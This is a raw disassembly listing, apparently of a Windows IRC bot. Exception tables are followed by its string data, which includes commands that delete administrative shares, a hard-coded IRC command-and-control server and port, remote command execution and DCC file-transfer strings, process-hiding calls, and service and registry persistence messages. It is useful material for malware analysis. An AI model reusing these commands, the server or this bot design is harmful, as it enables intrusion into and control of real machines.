dword_4419D0	dd 19930520h, 4, 4419F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B980h,	0
		dd offset loc_43B98B
		dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18	dd 19930520h, 6, 441A38h, 5 dup(0)		dd 0FFFFFFFFh, 43B9D0h,	0
		dd offset loc_43B9DB
		dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70	dd 19930520h, 4, 441A90h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4E
		dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8	dd 19930520h, 5, 441AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BAA0h,	0
		dd offset loc_43BAAB
		dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08	dd 19930520h, 5, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	0
		dd offset loc_43BB0B
		dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58	dd 19930520h, 1, 441B78h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441B88	dd 19930520h, 1, 441BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441BB8	dd 19930520h, 1, 441BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441BE8	dd 19930520h, 2, 441C08h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BBh, 43h, 0
		align 10h
dword_441C20	dd 19930520h, 4, 441C40h, 5 dup(0)		dd 0FFFFFFFFh, 43BBF0h,	0
		dd offset loc_43BBFB
		dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68	dd 19930520h, 4, 441C88h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC4B
		dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC90h,	0
		dd offset loc_43BC9B
		dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08	dd 19930520h, 4, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	0
		dd offset loc_43BD0E
		dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50	dd 19930520h, 5, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BD60h,	0
		dd offset loc_43BD6B
		dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0	dd 19930520h, 5, 441DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BDh, 43h, 0
		dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0	dd 19930520h, 1, 441E10h, 5 dup(0)		dd 0FFFFFFFFh, 43BE20h,	2 dup(0)
dword_441E20	dd 19930520h, 1, 441E40h, 5 dup(0)		dd 0FFFFFFFFh, 43BE40h,	2 dup(0)
dword_441E50	dd 19930520h, 1, 441E70h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	2 dup(0)
dword_441E80	dd 19930520h, 2, 441EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_441EB8	dd 19930520h, 4, 441ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43BEB0h,	0
		dd offset loc_43BEBB
		dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00	dd 19930520h, 1, 441F20h, 5 dup(0)		dd 0FFFFFFFFh, 43BF00h,	2 dup(0)
dword_441F30	dd 19930520h, 2, 441F50h, 5 dup(0)		dd 0FFFFFFFFh, 43BF20h,	0
		dd offset loc_43BF2B
		dd 2 dup(0)
dword_441F68	dd 19930520h, 1, 441F88h, 5 dup(0)		dd 0FFFFFFFFh, 43BF50h,	2 dup(0)
dword_441F98	dd 19930520h, 1, 441FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF70h,	2 dup(0)
dword_441FC8	dd 19930520h, 2, 441FE8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF90h,	0
		dd offset loc_43BF9B
		align 10h
dword_442000	dd 19930520h, 1, 442020h, 5 dup(0)		dd 0FFFFFFFFh, 43BFC0h,	2 dup(0)
dword_442030	dd 19930520h, 3, 442050h, 5 dup(0)		dd 0FFFFFFFFh, 43BFE0h,	0
		dd offset loc_43BFF7
		dd 1, 43BFFFh, 2 dup(0)
dword_442070	dd 19930520h, 1, 442090h, 5 dup(0)		dd 0FFFFFFFFh, 43C020h,	2 dup(0)
dword_4420A0	dd 19930520h, 4, 4420C0h, 5 dup(0)		dd 0FFFFFFFFh, 43C048h,	0
		dd offset sub_43C040
		dd 0
		dd offset loc_43C05F
		dd 2, 43C067h, 2 dup(0)
dword_4420E8	dd 19930520h, 6, 442108h, 5 dup(0)		dd 0FFFFFFFFh, 43C090h,	0FFFFFFFFh, 43C098h, 0FFFFFFFFh
		dd 43C0A0h, 0FFFFFFFFh,	43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh
		dd 43C0B8h, 2 dup(0)
dword_442140	dd 19930520h, 1Ah, 442160h, 5 dup(0)		dd 0FFFFFFFFh, 43C0E0h,	0
		dd offset loc_43C0EB
		dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh
		dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h
		dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h
		dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h
		dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0)
dword_442248	dd 19930520h, 4, 442268h, 5 dup(0)		dd 0FFFFFFFFh, 43C270h,	0
		dd offset loc_43C278
		dd 1, 43C283h, 2, 43C28Eh, 2 dup(0)
dword_442290	dd 19930520h, 4, 4422B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C2B0h,	0
		dd offset loc_43C2B8
		dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0)
dword_4422D8	dd 19930520h, 6, 4422F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C2F0h,	0
; ---------------------------------------------------------------------------
		clc
		retn	43h
; ---------------------------------------------------------------------------
		dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0)
dword_442330	dd 19930520h, 6, 442350h, 5 dup(0)		dd 0FFFFFFFFh, 43C350h,	0
; ---------------------------------------------------------------------------
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0)
dword_442388	dd 19930520h, 6, 4423A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C3B0h,	0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh
		dd 43C3C6h, 2, 43C3D1h,	3, 43C3DCh, 2, 43C3E7h,	2 dup(0)
dword_4423E0	dd 19930520h, 3, 442400h, 5 dup(0)		dd 0FFFFFFFFh, 43C410h,	0FFFFFFFFh, 43C418h, 0FFFFFFFFh
		dd 43C420h, 2 dup(0)
dword_442420	dd 19930520h, 5, 442440h, 5 dup(0)		dd 0FFFFFFFFh, 43C440h,	0FFFFFFFFh, 43C448h, 0FFFFFFFFh
		dd 43C450h, 0FFFFFFFFh,	43C458h, 0FFFFFFFFh, 43C460h, 2	dup(0)
dword_442470	dd 19930520h, 0Ch, 442490h, 5 dup(0)		dd 0FFFFFFFFh, 43C480h,	0
		dd offset loc_43C488
		dd 0FFFFFFFFh, 43C490h,	0FFFFFFFFh, 43C498h, 0FFFFFFFFh
		dd 43C4A0h, 0FFFFFFFFh,	43C4A8h, 5, 43C4B0h, 0FFFFFFFFh
		dd 43C4B8h, 0FFFFFFFFh,	43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh
		dd 43C4D0h, 0FFFFFFFFh,	43C4D8h, 4 dup(0)
		dd 19930520h, 2, 442520h, 1, 442530h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442548h, 4	dup(0)
		dd offset loc_41EF2C
		align 10h
dword_442560	dd 19930520h, 0Ah, 442580h, 5 dup(0)		dd 0FFFFFFFFh, 43C520h,	0
		dd offset loc_43C52B
		dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h
		dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0)
dword_4425E0	dd 19930520h, 2, 442600h, 5 dup(0)		dd 0FFFFFFFFh, 43C5C0h,	0
		dd offset loc_43C5C8
		dd 2 dup(0)
dword_442618	dd 19930520h, 3, 442638h, 5 dup(0)		dd 0FFFFFFFFh, 43C5E0h,	0FFFFFFFFh, 43C5EBh, 1,	43C5F6h
		dd 2 dup(0)
dword_442658	dd 19930520h, 1, 442678h, 5 dup(0)		dd 0FFFFFFFFh, 43C620h,	2 dup(0)
dword_442688	dd 19930520h, 2, 4426A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C640h,	0
		dd offset byte_43C64B
		align 10h
dword_4426C0	dd 19930520h, 16h, 4426E0h, 5 dup(0)		dd 0FFFFFFFFh, 43C670h,	0
		dd offset loc_43C67B
		dd 0
		dd offset loc_43C683
		dd 0
		dd offset loc_43C68B
		dd 3, 43C693h, 4, 43C69Bh, 0
		dd offset loc_43C6A3
		dd 6, 43C6ABh, 7, 43C6B3h, 0
		dd offset loc_43C6BB
		dd 9, 43C6C3h, 0Ah, 43C6CBh, 0
		dd offset loc_43C6D3
		dd 0Ch,	43C6DBh, 0Dh, 43C6E3h, 0
		dd offset loc_43C6EB
		dd 0Fh,	43C6F3h, 0
		dd offset loc_43C6FB
		dd 11h,	43C703h, 0
		dd offset loc_43C70B
		dd 13h,	43C713h, 13h, 43C71Bh, 6 dup(0)
dword_4427A8	dd 19930520h, 1, 4427C8h, 5 dup(0)		dd 0FFFFFFFFh, 43C760h,	2 dup(0)
dword_4427D8	dd 19930520h, 1, 4427F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C790h,	2 dup(0)
dword_442808	dd 19930520h, 5, 442828h, 5 dup(0)		dd 0FFFFFFFFh, 43C7C0h,	0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh
		dd 43C7D0h, 0FFFFFFFFh,	43C7D8h, 0FFFFFFFFh, 43C7E0h, 2	dup(0)
dword_442858	dd 19930520h, 0Bh, 442878h, 5 dup(0)		dd 0FFFFFFFFh, 43C800h,	0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh
		dd 43C821h, 0FFFFFFFFh,	43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh
		dd 43C842h, 0FFFFFFFFh,	43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh
		dd 43C863h, 0FFFFFFFFh,	43C86Eh, 0FFFFFFFFh, 43C816h, 4	dup(0)
dword_4428E0	dd 19930520h, 1, 442900h, 5 dup(0)		dd 0FFFFFFFFh, 43C8B0h,	2 dup(0)
dword_442910	dd 19930520h, 5, 442930h, 5 dup(0)		dd 0FFFFFFFFh, 43C8D0h,	0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh
		dd 43C8E0h, 0FFFFFFFFh,	43C8E8h, 0FFFFFFFFh, 43C8F0h, 2	dup(0)
dword_442960	dd 19930520h, 15h, 442980h, 5 dup(0)		dd 0FFFFFFFFh, 43C910h,	0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh
		dd 43C923h, 0FFFFFFFFh,	43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh
		dd 43C93Bh, 0FFFFFFFFh,	43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh
		dd 43C956h, 0FFFFFFFFh,	43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh
		dd 43C971h, 0FFFFFFFFh,	43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh
		dd 43C989h, 0FFFFFFFFh,	43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh
		dd 43C9A4h, 0FFFFFFFFh,	43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh
		dd 43C9BCh, 6 dup(0)
dword_442A40	dd 19930520h, 1, 442A60h, 5 dup(0)		dd 0FFFFFFFFh, 43CA00h,	2 dup(0)
dword_442A70	dd 19930520h, 5, 442A90h, 5 dup(0)		dd 0FFFFFFFFh, 43CA20h,	0
		dd offset loc_43CA28
		dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0)
dword_442AC0	dd 19930520h, 5, 442AE0h, 5 dup(0)		dd 0FFFFFFFFh, 43CA70h,	0
		dd offset loc_43CA78
		dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0)
dword_442B10	dd 19930520h, 1, 442B30h, 5 dup(0)		dd 0FFFFFFFFh, 43CAC0h,	2 dup(0)
dword_442B40	dd 19930520h, 1, 442B60h, 5 dup(0)		dd 0FFFFFFFFh, 43CAE0h,	2 dup(0)
dword_442B70	dd 19930520h, 1, 442B90h, 5 dup(0)		dd 0FFFFFFFFh, 43CB00h,	2 dup(0)
dword_442BA0	dd 19930520h, 1, 442BC0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB20h,	2 dup(0)
dword_442BD0	dd 19930520h, 1, 442BF0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB40h,	2 dup(0)
dword_442C00	dd 19930520h, 1, 442C20h, 5 dup(0)		dd 0FFFFFFFFh, 43CB60h,	2 dup(0)
dword_442C30	dd 19930520h, 1, 442C50h, 5 dup(0)		dd 0FFFFFFFFh, 43CB80h,	2 dup(0)
dword_442C60	dd 19930520h, 1, 442C80h, 5 dup(0)		dd 0FFFFFFFFh, 43CBA0h,	2 dup(0)
dword_442C90	dd 19930520h, 6, 442CB0h, 5 dup(0)		dd 0FFFFFFFFh, 43CBC0h,	0
		dd offset loc_43CBC8
		dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0)
dword_442CE8	dd 19930520h, 6, 442D08h, 5 dup(0)		dd 0FFFFFFFFh, 43CC20h,	0
		dd offset loc_43CC28
		dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0)
dword_442D40	dd 19930520h, 3, 442D60h, 5 dup(0)		dd 0FFFFFFFFh, 43CC80h,	0
		dd offset loc_43CC88
		dd 1, 43CC96h, 2 dup(0)
dword_442D80	dd 19930520h, 16h, 442DA0h, 5 dup(0)		dd 0FFFFFFFFh, 43CCC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 2
		dw 43h
		dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h
		dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah
		dd 43CD39h, 2, 43CD44h,	0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh
		dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh,	0Fh, 43CD86h, 0Fh
		dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h,	6 dup(0)
dword_442E68	dd 19930520h, 1, 442E88h, 5 dup(0)		dd 0FFFFFFFFh, 43CE00h,	2 dup(0)
dword_442E98	dd 19930520h, 1, 442EB8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE20h,	2 dup(0)
dword_442EC8	dd 19930520h, 1, 442EE8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE40h,	2 dup(0)
dword_442EF8	dd 19930520h, 1, 442F18h, 5 dup(0)		dd 0FFFFFFFFh, 43CE60h,	2 dup(0)
dword_442F28	dd 19930520h, 1, 442F48h, 5 dup(0)		dd 0FFFFFFFFh, 43CE80h,	2 dup(0)
dword_442F58	dd 19930520h, 2, 442F78h, 1, 442F88h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442FA0h, 4	dup(0)
		dd offset loc_42C244
		dd 2 dup(0)
dword_442FB8	dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 443000h, 4	dup(0)
		dd offset loc_42C321
		dd 2 dup(0)
dword_443018	dd 19930520h, 3, 443038h, 5 dup(0)		dd 0FFFFFFFFh, 43CEC0h,	0
		dd offset loc_43CEC8
		dd 1, 43CED0h, 2 dup(0)
dword_443058	dd 19930520h, 1, 443078h, 5 dup(0)		dd 0FFFFFFFFh, 43CF00h,	2 dup(0)
dword_443088	dd 19930520h, 1, 4430A8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF20h,	2 dup(0)
dword_4430B8	dd 19930520h, 1, 4430D8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF40h,	2 dup(0)
dword_4430E8	dd 19930520h, 1, 443108h, 5 dup(0)		dd 0FFFFFFFFh, 43CF60h,	2 dup(0)
dword_443118	dd 19930520h, 1, 443138h, 5 dup(0)		dd 0FFFFFFFFh, 43CF80h,	2 dup(0)
dword_443148	dd 19930520h, 6, 443168h, 5 dup(0)		dd 0FFFFFFFFh, 43CFA0h,	0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh
		dd 43CFB0h, 0FFFFFFFFh,	43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh
		dd 43CFC8h, 2 dup(0)
dword_4431A0	dd 19930520h, 16h, 4431C0h, 5 dup(0)		dd 0FFFFFFFFh, 43CFF0h,	0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh
		dd 43D003h, 0FFFFFFFFh,	43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh
		dd 43D01Eh, 0FFFFFFFFh,	43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh
		dd 43D036h, 0FFFFFFFFh,	43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh
		dd 43D051h, 0FFFFFFFFh,	43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh
		dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch,	0Eh, 43D084h, 0Eh
		dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch,	0Eh, 43D09Ch, 6	dup(0)
dword_443288	dd 19930520h, 2, 4432A8h, 5 dup(0)		dd 0FFFFFFFFh, 43D0E0h,	0FFFFFFFFh, 43D0E8h, 2 dup(0)
dword_4432C0	dd 19930520h, 2, 4432E0h, 5 dup(0)		dd 0FFFFFFFFh, 43D100h,	0
		dd offset loc_43D10B
		dd 2 dup(0)
dword_4432F8	dd 19930520h, 1, 443318h, 5 dup(0)		dd 0FFFFFFFFh, 43D130h,	2 dup(0)
dword_443328	dd 19930520h, 2, 443348h, 5 dup(0)		dd 0FFFFFFFFh, 43D150h,	0FFFFFFFFh, 43D158h, 2 dup(0)
dword_443360	dd 19930520h, 0Ah, 443380h, 5 dup(0)		dd 0FFFFFFFFh, 43D170h,	0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh
		dd 43D186h, 0FFFFFFFFh,	43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh
		dd 43D1A7h, 0FFFFFFFFh,	43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh
		dd 43D1C8h, 0FFFFFFFFh,	43D1D3h, 34Dh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd offset aRrrrrrrrrr+7Ah
		dd 105h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_403530+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4445EC:				; DATA XREF: sub_403530+66o
					; sub_410030:loc_41090Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404CC0+86Fo
					; sub_404CC0+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404CC0+82Bo
					; sub_404CC0+B58o ...
		align 10h
asc_444600:				; DATA XREF: sub_404690:loc_40476Fo
					; sub_404690+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404690+75o
					; sub_410030:loc_410A19o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_444684	dd 255C7325h, 73h					; sub_40D040+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o
		align 8
aN:					; DATA XREF: sub_404CC0+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404CC0+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404CC0+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404CC0+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404CC0+444o
					; sub_41C130+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404CC0+1A3o
					; sub_404CC0+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_406730+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_4068E0+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_4068E0+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_4068E0:loc_4069DBo
a2003		db '2003',0             ; DATA XREF: sub_4068E0+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_4068E0+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_4068E0+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4068E0+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_4068E0+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_4068E0+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_4068E0+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406E3Do
					; ___:00406E85o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406E00o
					; sub_40ED00+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406DC3o
		dd 0
dword_4447EC	dd 6265642Dh, 6775hdword_4447F4	dd 6425h						; ___:004087A0o ...
dword_4447F8	dd 2Eh							; ___:0041B2DAo ...
aMicrosoftVisua	db 'MicroSoft Visual SP0',0 ; DATA XREF: sub_4077E0+403o
		align 8
aEvil		db 'evil',0             ; DATA XREF: sub_4077E0+3F2o
		align 10h
aFeeling_nasty	db 'feeling.nasty',0    ; DATA XREF: sub_4077E0+3E1o
		align 10h
aSet		db 'set',0              ; DATA XREF: sub_4077E0+359o
asc_444834	db 'X-',0               ; DATA XREF: sub_4077E0+348o
		align 4
aAyssds4ddklfsd	db 'ayssds4ddklfsdfssas',0 ; DATA XREF: sub_4077E0+337o
		align 10h
aIgfsfdfsd32ss_	db 'igfsfdfsd32ss.exe',0 ; DATA XREF: sub_4077E0+326o
		align 8
aXkey		db 'Xkey',0             ; DATA XREF: sub_4077E0+318o
		align 10h
aFor		db '##for',0            ; DATA XREF: sub_4077E0+307o
		align 4
aFor_0		db '##for##',0          ; DATA XREF: sub_4077E0+2F6o
		dd 0
a3267		db '3267',0             ; DATA XREF: sub_4077E0+29Bo
		align 4
aIrc_alfree5_in	db 'irc.alfree5.info',0 ; DATA XREF: sub_4077E0+283o
		align 10h
off_4448A0	dd offset off_43F1D4	; DATA XREF: ___:00440014o
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4448C0	dd offset off_43F1D4	; DATA XREF: ___:00440034o
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_4448E8	dd offset off_43F1D4	; DATA XREF: ___:00440054o
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o
					; ___:0040AA51o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B760+3Fo
					; sub_40B7E0+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B87Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B924o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BB57o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040BA04o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C4E0+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C4E0+327o
		align 10h
dword_444A10	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C4E0+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC90+1B1o
		dd 0
asc_444AE4:				; DATA XREF: sub_40CC90+113o
					; sub_4201F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40D040+115o
		align 4
aS_1		db '%s\*',0             ; DATA XREF: sub_40D040+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D559o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D660+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D660+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D660+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DC20+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40EE40+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EE40+21o
					; sub_40F060+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F511o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F359o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo
		align 10h
		dd 0
asc_444C64	db ' :',0               ; DATA XREF: sub_410030+E2Bo
